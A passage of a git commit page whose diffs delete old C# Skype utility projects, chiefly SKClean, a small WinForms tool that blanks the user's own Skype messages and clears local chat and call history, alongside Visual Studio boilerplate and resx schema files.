random

- collection of un-sorted bollocks
git clone git://git.acid.vegas/random.git
Log | Files | Refs | Archive

commit 01ab92e2080f39a85eedfe0a24511b65ef50aded
parent f654c9f56f0466d360601f654edcf61a49a1986f
Author: acidvegas <acid.vegas@acid.vegas>
Date: Tue, 16 May 2023 22:48:51 -0400

Added drug wars irc game

Diffstat:
Dc#/SKClean/SKClean.exe | 0
Dc#/SKClean/SKClean/SKClean.sln | 22----------------------
Dc#/SKClean/SKClean/SKClean.v12.suo | 0
Dc#/SKClean/SKClean/SKClean/App.config | 7-------
Dc#/SKClean/SKClean/SKClean/Main.Designer.cs | 85-------------------------------------------------------------------------------
Dc#/SKClean/SKClean/SKClean/Main.cs | 45---------------------------------------------
Dc#/SKClean/SKClean/SKClean/Main.resx | 124-------------------------------------------------------------------------------
Dc#/SKClean/SKClean/SKClean/Program.cs | 15---------------
Dc#/SKClean/SKClean/SKClean/Properties/AssemblyInfo.cs | 36------------------------------------
Dc#/SKClean/SKClean/SKClean/Properties/Resources.Designer.cs | 71-----------------------------------------------------------------------
Dc#/SKClean/SKClean/SKClean/Properties/Resources.resx | 118-------------------------------------------------------------------------------
Dc#/SKClean/SKClean/SKClean/Properties/Settings.Designer.cs | 30------------------------------
Dc#/SKClean/SKClean/SKClean/Properties/Settings.settings | 7-------
Dc#/SKClean/SKClean/SKClean/SKClean.csproj | 107-------------------------------------------------------------------------------
Dc#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe | 0
Dc#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe.config | 7-------
Dc#/SKClean/SKClean/SKClean/bin/Debug/SKClean.pdb | 0
Dc#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe | 0
Dc#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe.config | 7-------
Dc#/SKClean/SKClean/SKClean/icon.ico | 0
Dc#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferences.cache | 0
Dc#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache | 0
Dc#/SKClean/SKClean/SKClean/obj/Debug/Interop.SKYPE4COMLib.dll | 0
Dc#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Main.resources | 0
Dc#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Properties.Resources.resources | 0
Dc#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.FileListAbsolute.txt | 33---------------------------------
Dc#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.GenerateResource.Cache | 0
Dc#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.ResolveComReference.cache | 0
Dc#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csprojResolveAssemblyReference.cache | 0
Dc#/SKClean/SKClean/SKClean/obj/Debug/SKClean.exe | 0
Dc#/SKClean/SKClean/SKClean/obj/Debug/SKClean.pdb | 0
Dc#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs | 0
Dc#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs | 0
Dc#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs | 0
Dc#/Skype Quote Generator/Skype Quote Generator.exe | 0
Dc#/Skype Quote Generator/Source/.vs/SkypeQuote/v14/.suo | 0
Dc#/Skype Quote Generator/Source/SkypeQuote.sln | 22----------------------
Dc#/Skype Quote Generator/Source/SkypeQuote/App.config | 6------
Dc#/Skype Quote Generator/Source/SkypeQuote/ClassDiagram1.cd | 3---
Dc#/Skype Quote Generator/Source/SkypeQuote/Main.Designer.cs | 152-------------------------------------------------------------------------------
Dc#/Skype Quote Generator/Source/SkypeQuote/Main.cs | 44--------------------------------------------
Dc#/Skype Quote Generator/Source/SkypeQuote/Main.resx | 1254-------------------------------------------------------------------------------
Dc#/Skype Quote Generator/Source/SkypeQuote/Program.cs | 19-------------------
Dc#/Skype Quote Generator/Source/SkypeQuote/Properties/AssemblyInfo.cs | 36------------------------------------
Dc#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.Designer.cs | 63---------------------------------------------------------------
Dc#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.resx | 118-------------------------------------------------------------------------------
Dc#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.Designer.cs | 26--------------------------
Dc#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.settings | 7-------
Dc#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj | 117-------------------------------------------------------------------------------
Dc#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj.user | 14--------------
Dc#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe | 0
Dc#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe.config | 6------
Dc#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.pdb | 0
Dc#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe | 0
Dc#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.config | 6------
Dc#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.manifest | 11-----------
Dc#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferences.cache | 0
Dc#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache | 0
Dc#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Main.resources | 0
Dc#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Properties.Resources.resources | 0
Dc#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.FileListAbsolute.txt | 9---------
Dc#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.GenerateResource.Cache | 0
Dc#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csprojResolveAssemblyReference.cache | 0
Dc#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.exe | 0
Dc#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.pdb | 0
Dc#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll | 0
Dc#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs | 0
Dc#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs | 0
Dc#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs | 0
Dc#/Skype Quote Generator/Source/SkypeQuote/skype.ico | 0
Dc#/gskBot/.vs/gskBot/v14/.suo | 0
Dc#/gskBot/gskBot.sln | 22----------------------
Dc#/gskBot/gskBot.v12.suo | 0
Dc#/gskBot/gskBot/App.config | 6------
Dc#/gskBot/gskBot/Bot.cs | 61-------------------------------------------------------------
Dc#/gskBot/gskBot/Config.cs | 38--------------------------------------
Dc#/gskBot/gskBot/Function.cs | 236-------------------------------------------------------------------------------
Dc#/gskBot/gskBot/IRC.cs | 146-------------------------------------------------------------------------------
Dc#/gskBot/gskBot/Properties/AssemblyInfo.cs | 33---------------------------------
Dc#/gskBot/gskBot/bin/Debug/gskBot.exe | 0
Dc#/gskBot/gskBot/bin/Debug/gskBot.exe.config | 6------
Dc#/gskBot/gskBot/bin/Debug/gskBot.pdb | 0
Dc#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe | 0
Dc#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.config | 6------
Dc#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.manifest | 11-----------
Dc#/gskBot/gskBot/gskBot.csproj | 102-------------------------------------------------------------------------------
Dc#/gskBot/gskBot/gskBot.csproj.user | 14--------------
Dc#/gskBot/gskBot/icon.ico | 0
Dc#/gskBot/gskBot/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache | 0
Dc#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs | 0
Dc#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs | 0
Dc#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs | 0
Dc#/gskBot/gskBot/obj/Debug/gskBot.csproj.FileListAbsolute.txt | 24------------------------
Dc#/gskBot/gskBot/obj/Debug/gskBot.csprojResolveAssemblyReference.cache | 0
Dc#/gskBot/gskBot/obj/Debug/gskBot.exe | 0
Dc#/gskBot/gskBot/obj/Debug/gskBot.pdb | 0
Airc/bots/drugwars/.gitignore | 2++
Airc/bots/drugwars/Cargo.toml | 7+++++++
Airc/bots/drugwars/drugwars/Cargo.toml | 14++++++++++++++
Airc/bots/drugwars/drugwars/src/api.rs | 584+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Airc/bots/drugwars/drugwars/src/config.rs | 24++++++++++++++++++++++++
Airc/bots/drugwars/drugwars/src/dealer.rs | 175+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Airc/bots/drugwars/drugwars/src/definitions.rs | 104+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Airc/bots/drugwars/drugwars/src/drug_wars.rs | 553+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Airc/bots/drugwars/drugwars/src/main.rs | 277+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Airc/bots/drugwars/drugwars/src/render.rs | 714+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Airc/bots/drugwars/drugwars/src/utils.rs | 66++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Airc/bots/drugwars/drugwars_config.yaml | 206+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Airc/bots/drugwars/irc/Cargo.toml | 11+++++++++++
Airc/bots/drugwars/irc/src/builder.rs | 145+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Airc/bots/drugwars/irc/src/config.rs | 35+++++++++++++++++++++++++++++++++++
Airc/bots/drugwars/irc/src/irc_command.rs | 242+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Airc/bots/drugwars/irc/src/lib.rs | 477+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Airc/bots/drugwars/irc_config.yaml | 13+++++++++++++

114 files changed, 3649 insertions(+), 3332 deletions(-)

diff --git a/c#/SKClean/SKClean.exe b/c#/SKClean/SKClean.exe
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean.sln b/c#/SKClean/SKClean/SKClean.sln
@@ -1,22 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 12.00
-# Visual Studio Express 2013 for Windows Desktop
-VisualStudioVersion = 12.0.21005.1
-MinimumVisualStudioVersion = 10.0.40219.1
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SKClean", "SKClean\SKClean.csproj", "{07708324-3B4B-43AA-A630-9FD2263C8134}"
-EndProject
-Global
-	GlobalSection(SolutionConfigurationPlatforms) = preSolution
-		Debug|Any CPU = Debug|Any CPU
-		Release|Any CPU = Release|Any CPU
-	EndGlobalSection
-	GlobalSection(ProjectConfigurationPlatforms) = postSolution
-		{07708324-3B4B-43AA-A630-9FD2263C8134}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
-		{07708324-3B4B-43AA-A630-9FD2263C8134}.Debug|Any CPU.Build.0 = Debug|Any CPU
-		{07708324-3B4B-43AA-A630-9FD2263C8134}.Release|Any CPU.ActiveCfg = Release|Any CPU
-		{07708324-3B4B-43AA-A630-9FD2263C8134}.Release|Any CPU.Build.0 = Release|Any CPU
-	EndGlobalSection
-	GlobalSection(SolutionProperties) = preSolution
-		HideSolutionNode = FALSE
-	EndGlobalSection
-EndGlobal
diff --git a/c#/SKClean/SKClean/SKClean.v12.suo b/c#/SKClean/SKClean/SKClean.v12.suo
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/App.config b/c#/SKClean/SKClean/SKClean/App.config
@@ -1,6 +0,0 @@
-<?xml version="1.0" encoding="utf-8" ?>
-<configuration>
-    <startup> 
-        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
-    </startup>
-</configuration>
-\ No newline at end of file
diff --git a/c#/SKClean/SKClean/SKClean/Main.Designer.cs b/c#/SKClean/SKClean/SKClean/Main.Designer.cs
@@ -1,85 +0,0 @@
-namespace SKClean
-{
-    partial class Main
-    {
-        /// <summary>
-        /// Required designer variable.
-        /// </summary>
-        private System.ComponentModel.IContainer components = null;
-
-        /// <summary>
-        /// Clean up any resources being used.
-        /// </summary>
-        /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
-        protected override void Dispose(bool disposing)
-        {
-            if (disposing && (components != null))
-            {
-                components.Dispose();
-            }
-            base.Dispose(disposing);
-        }
-
-        #region Windows Form Designer generated code
-
-        /// <summary>
-        /// Required method for Designer support - do not modify
-        /// the contents of this method with the code editor.
-        /// </summary>
-        private void InitializeComponent()
-        {
-            this.buttonClean = new System.Windows.Forms.Button();
-            this.optionLeave = new System.Windows.Forms.CheckBox();
-            this.SuspendLayout();
-            // 
-            // buttonClean
-            // 
-            this.buttonClean.Location = new System.Drawing.Point(12, 12);
-            this.buttonClean.Name = "buttonClean";
-            this.buttonClean.Size = new System.Drawing.Size(81, 38);
-            this.buttonClean.TabIndex = 0;
-            this.buttonClean.Text = "C L E A N";
-            this.buttonClean.UseVisualStyleBackColor = true;
-            this.buttonClean.Click += new System.EventHandler(this.buttonClean_Click);
-            // 
-            // optionLeave
-            // 
-            this.optionLeave.AutoSize = true;
-            this.optionLeave.Location = new System.Drawing.Point(12, 56);
-            this.optionLeave.Name = "optionLeave";
-            this.optionLeave.Size = new System.Drawing.Size(81, 17);
-            this.optionLeave.TabIndex = 1;
-            this.optionLeave.Text = "Leave Chat";
-            this.optionLeave.UseVisualStyleBackColor = true;
-            // 
-            // Main
-            // 
-            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
-            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
-            this.ClientSize = new System.Drawing.Size(105, 85);
-            this.Controls.Add(this.optionLeave);
-            this.Controls.Add(this.buttonClean);
-            this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
-            this.MaximizeBox = false;
-            this.MaximumSize = new System.Drawing.Size(115, 118);
-            this.MinimizeBox = false;
-            this.MinimumSize = new System.Drawing.Size(115, 118);
-            this.Name = "Main";
-            this.ShowIcon = false;
-            this.ShowInTaskbar = false;
-            this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide;
-            this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
-            this.Text = "SKClean";
-            this.ResumeLayout(false);
-            this.PerformLayout();
-
-        }
-
-        #endregion
-
-        private System.Windows.Forms.Button buttonClean;
-        private System.Windows.Forms.CheckBox optionLeave;
-
-    }
-}
-
diff --git a/c#/SKClean/SKClean/SKClean/Main.cs b/c#/SKClean/SKClean/SKClean/Main.cs
@@ -1,45 +0,0 @@
-#region Imports
-using SKYPE4COMLib;
-using System;
-using System.Windows.Forms;
-#endregion
-
-namespace SKClean {
-    public partial class Main : Form {
-        public static Skype API = new Skype();
-
-        #region Startup
-        public Main() {
-            InitializeComponent();
-        }
-        #endregion
-
-        #region Clean Button
-        private void buttonClean_Click(object sender, EventArgs e) {
-            API.Attach(5, true);
-            foreach (Chat chat in API.ActiveChats) {
-                foreach (ChatMessage msg in chat.Messages) {
-                    if (msg.IsEditable)
-                        try {
-                            msg.Body = "";
-                        } catch {
-                            continue;
-                        }
-                }
-                if (optionLeave.Checked) {
-                    try {
-                        chat.SendMessage("/topic .");
-                        chat.Leave();
-                    } catch {
-                        continue;
-                    }
-                    
-                }
-            }
-            API.ClearCallHistory();
-            API.ClearChatHistory();
-            API.ClearVoicemailHistory();
-        }
-        #endregion
-    }
-}
diff --git a/c#/SKClean/SKClean/SKClean/Main.resx b/c#/SKClean/SKClean/SKClean/Main.resx
@@ -1,123 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<root>
-  <!-- 
-    Microsoft ResX Schema 
-    
-    Version 2.0
-    
-    The primary goals of this format is to allow a simple XML format 
-    that is mostly human readable. The generation and parsing of the 
-    various data types are done through the TypeConverter classes 
-    associated with the data types.
-    
-    Example:
-    
-    ... ado.net/XML headers & schema ...
-    <resheader name="resmimetype">text/microsoft-resx</resheader>
-    <resheader name="version">2.0</resheader>
-    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
-    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
-    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
-    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
-    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
-        <value>[base64 mime encoded serialized .NET Framework object]</value>
-    </data>
-    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
-        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
-        <comment>This is a comment</comment>
-    </data>
-                
-    There are any number of "resheader" rows that contain simple 
-    name/value pairs.
-    
-    Each data row contains a name, and value. The row also contains a 
-    type or mimetype. Type corresponds to a .NET class that support 
-    text/value conversion through the TypeConverter architecture. 
-    Classes that don't support this are serialized and stored with the 
-    mimetype set.
-    
-    The mimetype is used for serialized objects, and tells the 
-    ResXResourceReader how to depersist the object. This is currently not 
-    extensible. For a given mimetype the value must be set accordingly:
-    
-    Note - application/x-microsoft.net.object.binary.base64 is the format 
-    that the ResXResourceWriter will generate, however the reader can 
-    read any of the formats listed below.
-    
-    mimetype: application/x-microsoft.net.object.binary.base64
-    value   : The object must be serialized with 
-            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
-            : and then encoded with base64 encoding.
-    
-    mimetype: application/x-microsoft.net.object.soap.base64
-    value   : The object must be serialized with 
-            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
-            : and then encoded with base64 encoding.
-
-    mimetype: application/x-microsoft.net.object.bytearray.base64
-    value   : The object must be serialized into a byte array 
-            : using a System.ComponentModel.TypeConverter
-            : and then encoded with base64 encoding.
-    -->
-  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
-    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
-    <xsd:element name="root" msdata:IsDataSet="true">
-      <xsd:complexType>
-        <xsd:choice maxOccurs="unbounded">
-          <xsd:element name="metadata">
-            <xsd:complexType>
-              <xsd:sequence>
-                <xsd:element name="value" type="xsd:string" minOccurs="0" />
-              </xsd:sequence>
-              <xsd:attribute name="name" use="required" type="xsd:string" />
-              <xsd:attribute name="type" type="xsd:string" />
-              <xsd:attribute name="mimetype" type="xsd:string" />
-              <xsd:attribute ref="xml:space" />
-            </xsd:complexType>
-          </xsd:element>
-          <xsd:element name="assembly">
-            <xsd:complexType>
-              <xsd:attribute name="alias" type="xsd:string" />
-              <xsd:attribute name="name" type="xsd:string" />
-            </xsd:complexType>
-          </xsd:element>
-          <xsd:element name="data">
-            <xsd:complexType>
-              <xsd:sequence>
-                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
-                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
-              </xsd:sequence>
-              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
-              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
-              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
-              <xsd:attribute ref="xml:space" />
-            </xsd:complexType>
-          </xsd:element>
-          <xsd:element name="resheader">
-            <xsd:complexType>
-              <xsd:sequence>
-                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
-              </xsd:sequence>
-              <xsd:attribute name="name" type="xsd:string" use="required" />
-            </xsd:complexType>
-          </xsd:element>
-        </xsd:choice>
-      </xsd:complexType>
-    </xsd:element>
-  </xsd:schema>
-  <resheader name="resmimetype">
-    <value>text/microsoft-resx</value>
-  </resheader>
-  <resheader name="version">
-    <value>2.0</value>
-  </resheader>
-  <resheader name="reader">
-    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
-  </resheader>
-  <resheader name="writer">
-    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
-  </resheader>
-  <metadata name="$this.Locked" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
-    <value>True</value>
-  </metadata>
-</root>
-\ No newline at end of file
diff --git a/c#/SKClean/SKClean/SKClean/Program.cs b/c#/SKClean/SKClean/SKClean/Program.cs
@@ -1,15 +0,0 @@
-#region Imports
-using System;
-using System.Windows.Forms;
-#endregion
-
-namespace SKClean {
-    static class Program {
-        [STAThread]
-        static void Main() {
-            Application.EnableVisualStyles();
-            Application.SetCompatibleTextRenderingDefault(false);
-            Application.Run(new Main());
-        }
-    }
-}
diff --git a/c#/SKClean/SKClean/SKClean/Properties/AssemblyInfo.cs b/c#/SKClean/SKClean/SKClean/Properties/AssemblyInfo.cs
@@ -1,36 +0,0 @@
-using System.Reflection;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-// General Information about an assembly is controlled through the following 
-// set of attributes. Change these attribute values to modify the information
-// associated with an assembly.
-[assembly: AssemblyTitle("SKClean")]
-[assembly: AssemblyDescription("A Skype tool to quickly remove all your messages & erase history.")]
-[assembly: AssemblyConfiguration("")]
-[assembly: AssemblyCompany("LCS Inc.")]
-[assembly: AssemblyProduct("SKClean")]
-[assembly: AssemblyCopyright("Copyright ©  2014")]
-[assembly: AssemblyTrademark("LCS Inc.")]
-[assembly: AssemblyCulture("")]
-
-// Setting ComVisible to false makes the types in this assembly not visible 
-// to COM components.  If you need to access a type in this assembly from 
-// COM, set the ComVisible attribute to true on that type.
-[assembly: ComVisible(false)]
-
-// The following GUID is for the ID of the typelib if this project is exposed to COM
-[assembly: Guid("87c1aa4d-d5e6-47ca-bcd9-bb3d88f147fe")]
-
-// Version information for an assembly consists of the following four values:
-//
-//      Major Version
-//      Minor Version 
-//      Build Number
-//      Revision
-//
-// You can specify all the values or you can default the Build and Revision Numbers 
-// by using the '*' as shown below:
-// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("1.0.0.0")]
-[assembly: AssemblyFileVersion("1.0.0.0")]
diff --git a/c#/SKClean/SKClean/SKClean/Properties/Resources.Designer.cs b/c#/SKClean/SKClean/SKClean/Properties/Resources.Designer.cs
@@ -1,71 +0,0 @@
-//------------------------------------------------------------------------------
-// <auto-generated>
-//     This code was generated by a tool.
-//     Runtime Version:4.0.30319.18449
-//
-//     Changes to this file may cause incorrect behavior and will be lost if
-//     the code is regenerated.
-// </auto-generated>
-//------------------------------------------------------------------------------
-
-namespace SKClean.Properties
-{
-
-
-    /// <summary>
-    ///   A strongly-typed resource class, for looking up localized strings, etc.
-    /// </summary>
-    // This class was auto-generated by the StronglyTypedResourceBuilder
-    // class via a tool like ResGen or Visual Studio.
-    // To add or remove a member, edit your .ResX file then rerun ResGen
-    // with the /str option, or rebuild your VS project.
-    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
-    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
-    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
-    internal class Resources
-    {
-
-        private static global::System.Resources.ResourceManager resourceMan;
-
-        private static global::System.Globalization.CultureInfo resourceCulture;
-
-        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
-        internal Resources()
-        {
-        }
-
-        /// <summary>
-        ///   Returns the cached ResourceManager instance used by this class.
-        /// </summary>
-        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
-        internal static global::System.Resources.ResourceManager ResourceManager
-        {
-            get
-            {
-                if ((resourceMan == null))
-                {
-                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SKClean.Properties.Resources", typeof(Resources).Assembly);
-                    resourceMan = temp;
-                }
-                return resourceMan;
-            }
-        }
-
-        /// <summary>
-        ///   Overrides the current thread's CurrentUICulture property for all
-        ///   resource lookups using this strongly typed resource class.
-        /// </summary>
-        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
-        internal static global::System.Globalization.CultureInfo Culture
-        {
-            get
-            {
-                return resourceCulture;
-            }
-            set
-            {
-                resourceCulture = value;
-            }
-        }
-    }
-}
diff --git a/c#/SKClean/SKClean/SKClean/Properties/Resources.resx b/c#/SKClean/SKClean/SKClean/Properties/Resources.resx
@@ -1,117 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<root>
-  <!-- 
-    Microsoft ResX Schema 
-    
-    Version 2.0
-    
-    The primary goals of this format is to allow a simple XML format 
-    that is mostly human readable. The generation and parsing of the 
-    various data types are done through the TypeConverter classes 
-    associated with the data types.
-    
-    Example:
-    
-    ... ado.net/XML headers & schema ...
-    <resheader name="resmimetype">text/microsoft-resx</resheader>
-    <resheader name="version">2.0</resheader>
-    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
-    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
-    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
-    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
-    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
-        <value>[base64 mime encoded serialized .NET Framework object]</value>
-    </data>
-    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
-        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
-        <comment>This is a comment</comment>
-    </data>
-                
-    There are any number of "resheader" rows that contain simple 
-    name/value pairs.
-    
-    Each data row contains a name, and value. The row also contains a 
-    type or mimetype. Type corresponds to a .NET class that support 
-    text/value conversion through the TypeConverter architecture. 
-    Classes that don't support this are serialized and stored with the 
-    mimetype set.
-    
-    The mimetype is used for serialized objects, and tells the 
-    ResXResourceReader how to depersist the object. This is currently not 
-    extensible. For a given mimetype the value must be set accordingly:
-    
-    Note - application/x-microsoft.net.object.binary.base64 is the format 
-    that the ResXResourceWriter will generate, however the reader can 
-    read any of the formats listed below.
-    
-    mimetype: application/x-microsoft.net.object.binary.base64
-    value   : The object must be serialized with 
-            : System.Serialization.Formatters.Binary.BinaryFormatter
-            : and then encoded with base64 encoding.
-    
-    mimetype: application/x-microsoft.net.object.soap.base64
-    value   : The object must be serialized with 
-            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
-            : and then encoded with base64 encoding.
-
-    mimetype: application/x-microsoft.net.object.bytearray.base64
-    value   : The object must be serialized into a byte array 
-            : using a System.ComponentModel.TypeConverter
-            : and then encoded with base64 encoding.
-    -->
-  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
-    <xsd:element name="root" msdata:IsDataSet="true">
-      <xsd:complexType>
-        <xsd:choice maxOccurs="unbounded">
-          <xsd:element name="metadata">
-            <xsd:complexType>
-              <xsd:sequence>
-                <xsd:element name="value" type="xsd:string" minOccurs="0" />
-              </xsd:sequence>
-              <xsd:attribute name="name" type="xsd:string" />
-              <xsd:attribute name="type" type="xsd:string" />
-              <xsd:attribute name="mimetype" type="xsd:string" />
-            </xsd:complexType>
-          </xsd:element>
-          <xsd:element name="assembly">
-            <xsd:complexType>
-              <xsd:attribute name="alias" type="xsd:string" />
-              <xsd:attribute name="name" type="xsd:string" />
-            </xsd:complexType>
-          </xsd:element>
-          <xsd:element name="data">
-            <xsd:complexType>
-              <xsd:sequence>
-                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
-                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
-              </xsd:sequence>
-              <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
-              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
-              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
-            </xsd:complexType>
-          </xsd:element>
-          <xsd:element name="resheader">
-            <xsd:complexType>
-              <xsd:sequence>
-                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
-              </xsd:sequence>
-              <xsd:attribute name="name" type="xsd:string" use="required" />
-            </xsd:complexType>
-          </xsd:element>
-        </xsd:choice>
-      </xsd:complexType>
-    </xsd:element>
